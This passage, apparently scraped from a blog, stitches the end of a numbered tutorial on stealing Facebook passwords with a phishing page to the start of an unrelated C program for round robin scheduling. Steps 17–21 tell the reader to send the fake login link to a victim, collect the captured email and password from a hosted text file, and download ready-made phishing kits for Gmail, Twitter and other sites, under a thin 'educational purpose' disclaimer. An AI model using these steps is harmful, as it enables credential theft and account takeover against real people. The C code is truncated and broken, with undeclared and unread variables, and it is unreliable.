17.Copy the url of that page and send this link to your victim,when your victim try to login in to it with the username and password .the page redirectly connect to facebook. and you will be now able to see his password.

18.Open your 000webhost account and go to file manager then public_html,here you find a new file named username.txt.

19.Click on view now u will have your friend's password and email id.

20.This is a simple trick to hack any Facebook password account by phishing page.

21.If you are not able to create a phishing page then i will provide u a video tutorial link,look
in to the description of that video u will find a prepared module of phishing pages,download
it and enjoy.

click here to view a video tutorial with the readymade phishing pages....

note:

phishing is a illegal activity so don't try on anyone.this tutorial is for educational purpose.
Not only Facebook u can make any phishing page of any website by following these steps....
u can hack Gmail,Yahoo,Orkut,Twitter and many more.....

Program for Round Robin Scheduling Algorithm in C

2013-09-29T15:36:00.000+05:30

Round robin is a CPU process scheduling algorithm. in this scheduling, cpu allots a fixed time slice or time quantum to each process in a queue. The process terminates, leaves the queue.

#include<stdio.h>
#include<conio.h>
void main()
{
int st[10], bt[10], wt[10], tat[10], n, tq;

for(i=0; i<n;i++)
{

scanf("%d", &bt[i]);
st[i]=bt[i];
}
printf("\nEnter time slice : ");
